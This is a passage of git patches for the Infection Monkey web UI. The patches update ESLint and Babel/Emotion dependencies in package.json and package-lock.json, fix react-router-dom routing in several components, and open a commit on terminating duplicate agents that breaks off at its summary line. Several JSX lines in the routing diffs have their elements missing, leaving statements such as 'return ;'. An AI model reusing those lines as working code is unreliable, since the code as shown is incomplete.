"all", "args": "all", "argsIgnorePattern": "^_", "varsIgnorePattern": "^React$" }], + "no-unused-vars": [ + 1, + { + "vars": "all", + "args": "all", + "argsIgnorePattern": "^_", + "varsIgnorePattern": "^React$" + } + ], "no-trailing-spaces": [ 1, { @@ -56,10 +66,17 @@ "react/jsx-key": 1, "react/prop-types": 0, "react/no-unescaped-entities": 0, - "react/no-unknown-property": [1, { "ignore": ["class"] }], + "react/no-unknown-property": [ + 1, + { + "ignore": [ + "class" + ] + } + ], "react/no-string-refs": 1, "react/display-name": 1, "no-useless-escape": 1, "no-prototype-builtins": 1 } -} +} \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index de65cc13434..7526634bf2b 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -56,17 +56,19 @@ "devDependencies": { "@babel/cli": "7.21.0", "@babel/core": "7.21.0", + "@babel/eslint-parser": "^7.19.1", "@babel/plugin-proposal-class-properties": "7.18.6", "@babel/plugin-transform-runtime": "7.21.0", "@babel/preset-env": "7.20.2", "@babel/preset-react": "7.18.6", "@babel/runtime": "7.21.0", + "@emotion/babel-plugin": "^11.10.6", "@types/jest": "29.4.0", "@types/node": "18.14.5", "@types/react": "^16.14.35", "@types/react-dom": "^16.9.18", - "babel-eslint": "10.1.0", "babel-loader": "9.1.2", + "babel-plugin-emotion": "^11.0.0", "copyfiles": "2.4.1", "css-loader": "6.7.3", "eslint": "8.35.0", @@ -209,6 +211,33 @@ "semver": "bin/semver.js" } }, + "node_modules/@babel/eslint-parser": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.19.1.tgz", + "integrity": "sha512-AqNf2QWt1rtu2/1rLswy6CDP7H9Oh3mMhk177Y67Rg8d7RD9WfOLLv8CGn6tisFvS2htm86yIe1yLF6I1UDaGQ==", + "dev": true, + "dependencies": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": ">=7.11.0", + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/@babel/eslint-parser/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, "node_modules/@babel/generator": { "version": "7.21.1", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.21.1.tgz", @@ -1940,15 +1969,66 @@ "node": ">=0.8.0" } }, + "node_modules/@emotion/babel-plugin": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", + "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/runtime": "^7.18.3", + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/serialize": "^1.1.1", + "babel-plugin-macros": "^3.1.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^4.0.0", + "find-root": "^1.1.0", + "source-map": "^0.5.7", + "stylis": "4.1.3" + } + }, "node_modules/@emotion/core": { "version": "11.0.0", "resolved": "https://registry.npmjs.org/@emotion/core/-/core-11.0.0.tgz", "integrity": "sha512-w4sE3AmHmyG6RDKf6mIbtHpgJUSJ2uGvPQb8VXFL7hFjMPibE8IiehG8cMX3Ztm4svfCQV6KqusQbeIOkurBcA==" }, "node_modules/@emotion/hash": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", + "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==", + "dev": true + }, + "node_modules/@emotion/memoize": { "version": "0.8.0", - "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", - "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==" + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", + "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==", + "dev": true + }, + "node_modules/@emotion/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", + "dev": true, + "dependencies": { + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/unitless": "^0.8.0", + "@emotion/utils": "^1.2.0", + "csstype": "^3.0.2" + } + }, + "node_modules/@emotion/unitless": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", + "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==", + "dev": true + }, + "node_modules/@emotion/utils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", + "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==", + "dev": true }, "node_modules/@eslint/eslintrc": { "version": "2.0.0", @@ -2408,6 +2488,16 @@ } } }, + "node_modules/@material-ui/styles/node_modules/@emotion/hash": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", + "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==" + }, + "node_modules/@material-ui/styles/node_modules/csstype": { + "version": "2.6.21", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.21.tgz", + "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==" + }, "node_modules/@material-ui/system": { "version": "4.12.2", "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.2.tgz", @@ -2436,6 +2526,11 @@ } } }, + "node_modules/@material-ui/system/node_modules/csstype": { + "version": "2.6.21", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.21.tgz", + "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==" + }, "node_modules/@material-ui/types": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", @@ -2473,6 +2568,15 @@ "dev": true, "optional": true }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "dev": true, + "dependencies": { + "eslint-scope": "5.1.1" + } + }, "node_modules/@nodelib/fs.scandir": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", @@ -2938,11 +3042,6 @@ "@types/react": "*" } }, - "node_modules/@types/react/node_modules/csstype": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", - "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" - }, "node_modules/@types/retry": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", @@ -3491,27 +3590,6 @@ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.12.0.tgz", "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==" }, - "node_modules/babel-eslint": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", - "integrity": "sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg==", - "deprecated": "babel-eslint is now @babel/eslint-parser. This package will no longer receive updates.", - "dev": true, - "dependencies": { - "@babel/code-frame": "^7.0.0", - "@babel/parser": "^7.7.0", - "@babel/traverse": "^7.7.0", - "@babel/types": "^7.7.0", - "eslint-visitor-keys": "^1.0.0", - "resolve": "^1.12.0" - }, - "engines": { - "node": ">=6" - }, - "peerDependencies": { - "eslint": ">= 4.12.1" - } - }, "node_modules/babel-loader": { "version": "9.1.2", "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-9.1.2.tgz", @@ -3529,6 +3607,27 @@ "webpack": ">=5" } }, + "node_modules/babel-plugin-emotion": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-11.0.0.tgz", + "integrity": "sha512-cVD32sIXlidaqQBr7vw0uD2o58uBeD8jILDJ2yAGT1fOmgYcE5iX27bTVMV6meiUZarIAh1iAyTqrEWV+V2dqQ==", + "dev": true + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, "node_modules/babel-plugin-polyfill-corejs2": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz", @@ -4010,6 +4109,15 @@ "node": ">=4" } }, + "node_modules/chalk/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, "node_modules/character-entities": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", @@ -4095,6 +4203,15 @@ "node": ">= 10.0" } }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/cliui": { "version": "7.0.4", "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", @@ -4591,9 +4708,9 @@ } }, "node_modules/csstype": { - "version": "2.6.21", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.21.tgz", - "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==" + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", + "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" }, "node_modules/dashdash": { "version": "1.14.1", @@ -4825,11 +4942,6 @@ "csstype": "^3.0.2" } }, - "node_modules/dom-helpers/node_modules/csstype": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", - "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" - }, "node_modules/dom-serializer": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", @@ -4936,9 +5048,9 @@ "dev": true }, "node_modules/electron-to-chromium": { - "version": "1.4.317", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.317.tgz", - "integrity": "sha512-JhCRm9v30FMNzQSsjl4kXaygU+qHBD0Yh7mKxyjmF0V8VwYVB6qpBRX28GyAucrM9wDCpSUctT6FpMUQxbyKuA==" + "version": "1.4.318", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.318.tgz", + "integrity": "sha512-EQHZE/yO9Sg6gIP9VezPltDWFA8pMnv7dNRb4Y0ukels3iyXTH313gbHvK/tZwUF+jeh5F5fDf1rqWb8ZWX8fw==" }, "node_modules/elliptic": { "version": "6.5.4", @@ -5148,12 +5260,15 @@ "dev": true }, "node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", "dev": true, "engines": { - "node": ">=0.8.0" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/eslint": { @@ -5281,16 +5396,23 @@ } }, "node_modules/eslint-scope": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", - "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", - "dev": true, + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", "dependencies": { "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" + "estraverse": "^4.1.1" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": ">=8.0.0" + } + }, + "node_modules/eslint-scope/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" } }, "node_modules/eslint-utils": { @@ -5311,7 +5433,7 @@ "eslint": ">=5" } }, - "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "node_modules/eslint-visitor-keys": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", @@ -5320,15 +5442,6 @@ "node": ">=10" } }, - "node_modules/eslint-visitor-keys": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", - "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, "node_modules/eslint-webpack-plugin": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-4.0.0.tgz", @@ -5418,16 +5531,17 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, - "node_modules/eslint/node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "node_modules/eslint/node_modules/eslint-scope": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", + "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", "dev": true, - "engines": { - "node": ">=10" + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, "node_modules/eslint/node_modules/eslint-visitor-keys": { @@ -5930,6 +6044,12 @@ "semver": "bin/semver.js" } }, + "node_modules/find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==", + "dev": true + }, "node_modules/find-up": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", @@ -6808,6 +6928,15 @@ "node": ">=12" } }, + "node_modules/html-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/htmlparser2": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", @@ -8166,11 +8295,6 @@ "jss": "10.10.0" } }, - "node_modules/jss/node_modules/csstype": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", - "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" - }, "node_modules/jsx-ast-utils": { "version": "3.3.3", "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz", @@ -13229,11 +13353,6 @@ "lodash.curry": "^4.1.1" } }, - "node_modules/react-base16-styling/node_modules/csstype": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", - "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" - }, "node_modules/react-bootstrap": { "version": "1.6.6", "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.6.6.tgz", @@ -14427,9 +14546,10 @@ } }, "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "dev": true, "engines": { "node": ">=0.10.0" } @@ -14471,6 +14591,14 @@ "source-map": "^0.6.0" } }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/space-separated-tokens": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", @@ -14835,6 +14963,12 @@ "inline-style-parser": "0.1.1" } }, + "node_modules/stylis": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", + "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==", + "dev": true + }, "node_modules/supports-color": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", @@ -16124,26 +16258,6 @@ "ajv": "^6.9.1" } }, - "node_modules/webpack/node_modules/eslint-scope": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", - "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^4.1.1" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/webpack/node_modules/estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "engines": { - "node": ">=4.0" - } - }, "node_modules/webpack/node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 4a6b6706a52..3e7e64b93e5 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -27,17 +27,19 @@ "devDependencies": { "@babel/cli": "7.21.0", "@babel/core": "7.21.0", + "@babel/eslint-parser": "^7.19.1", "@babel/plugin-proposal-class-properties": "7.18.6", "@babel/plugin-transform-runtime": "7.21.0", "@babel/preset-env": "7.20.2", "@babel/preset-react": "7.18.6", "@babel/runtime": "7.21.0", + "@emotion/babel-plugin": "^11.10.6", "@types/jest": "29.4.0", "@types/node": "18.14.5", "@types/react": "^16.14.35", "@types/react-dom": "^16.9.18", - "babel-eslint": "10.1.0", "babel-loader": "9.1.2", + "babel-plugin-emotion": "^11.0.0", "copyfiles": "2.4.1", "css-loader": "6.7.3", "eslint": "8.35.0", @@ -106,4 +108,4 @@ "source-map-loader": "4.0.1" }, "snyk": true -} +} \ No newline at end of file From 6f2f7e43af22514b59074e950b751296e5238752 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:03:04 +0000 Subject: [PATCH 0323/1338] UI: Fix routing for react-router-dom --- monkey/monkey_island/cc/ui/src/components/Main.tsx | 10 +++++----- .../src/components/layouts/SidebarLayoutComponent.tsx | 9 ++++----- .../cc/ui/src/components/logo/LogoComponent.js | 4 ++-- 3 files changed, 11 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index aa4276f1a19..25f41c69d52 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -148,17 +148,17 @@ class AppComponent extends AuthComponent { switch (this.state.isLoggedIn) { case true: if (this.needsRedirectionToLandingPage(route_path)) { - return }/> + return ; } else if (this.needsRedirectionToGettingStarted(route_path)) { - return }/> + return ; } return page_component; case false: switch (this.state.needsRegistration) { case true: - return }/> + return ; case false: - return }/>; + return ; default: return ; } @@ -167,7 +167,7 @@ class AppComponent extends AuthComponent { } }; - return ; + return ; }; needsRedirectionToLandingPage = (route_path) => { diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx index ceb0efff418..89992f79a97 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -11,8 +11,7 @@ const SidebarLayoutComponent = ({component: Component, sideNavHeader = (<>), onStatusChange = () => {}, ...other - }) => ( - { + }) => { return ( {sideNavShow && @@ -23,8 +22,8 @@ const SidebarLayoutComponent = ({component: Component, onStatusChange={onStatusChange}/> } - ) - }}/> -) + + ) +} export default SidebarLayoutComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js index 8370336009d..fc3d0025275 100644 --- a/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js @@ -2,7 +2,7 @@ import React from 'react'; import {Link} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; -import {Routes} from '../Main'; +import {routes} from '../Main'; import VersionComponent from './VersionComponent'; const akamaiLogoImage = require('../../images/akamai-logo.svg'); @@ -22,7 +22,7 @@ function Logo() { Documentation

    - License + License
    diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/IslandResetModal.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/IslandResetModal.tsx index 152dde6a6ec..1ac47b51e1e 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/IslandResetModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/IslandResetModal.tsx @@ -4,7 +4,7 @@ import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons/faExclamationTriangle'; import '../../styles/components/IslandResetModal.scss'; -import {routes} from '../Main'; +import {IslandRoutes} from '../Main'; import LoadingIcon from './LoadingIcon'; import {faCheck} from '@fortawesome/free-solid-svg-icons'; import AuthService from '../../services/AuthService'; @@ -148,7 +148,7 @@ const IslandResetModal = (props: Props) => {

    Reset everything.

    -

    You might want to before doing this.

    From 45382e0984b499a84e6ee9f960e9f5ce2317f7be Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 19:52:10 +0000 Subject: [PATCH 0337/1338] UI: Add newline to .eslintrc --- monkey/monkey_island/cc/ui/.eslintrc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc index 87370e76d17..d4323ad6599 100644 --- a/monkey/monkey_island/cc/ui/.eslintrc +++ b/monkey/monkey_island/cc/ui/.eslintrc @@ -78,4 +78,4 @@ "no-useless-escape": 1, "no-prototype-builtins": 1 } -} \ No newline at end of file +} From d2db1d167373d66de053bf7c24dca67a83e21631 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 21:24:12 +0000 Subject: [PATCH 0338/1338] Island: Set terminate signal for duplicate agents If more than one agent is running on a given machine, the first agent shall be allowed to run, and the rest shall be given a terminate signal. --- .../cc/services/agent_signals_service.py | 20 ++++++++- .../cc/services/test_agent_signals_service.py | 43 ++++++++++++++----- 2 files changed, 52 insertions(+), 11 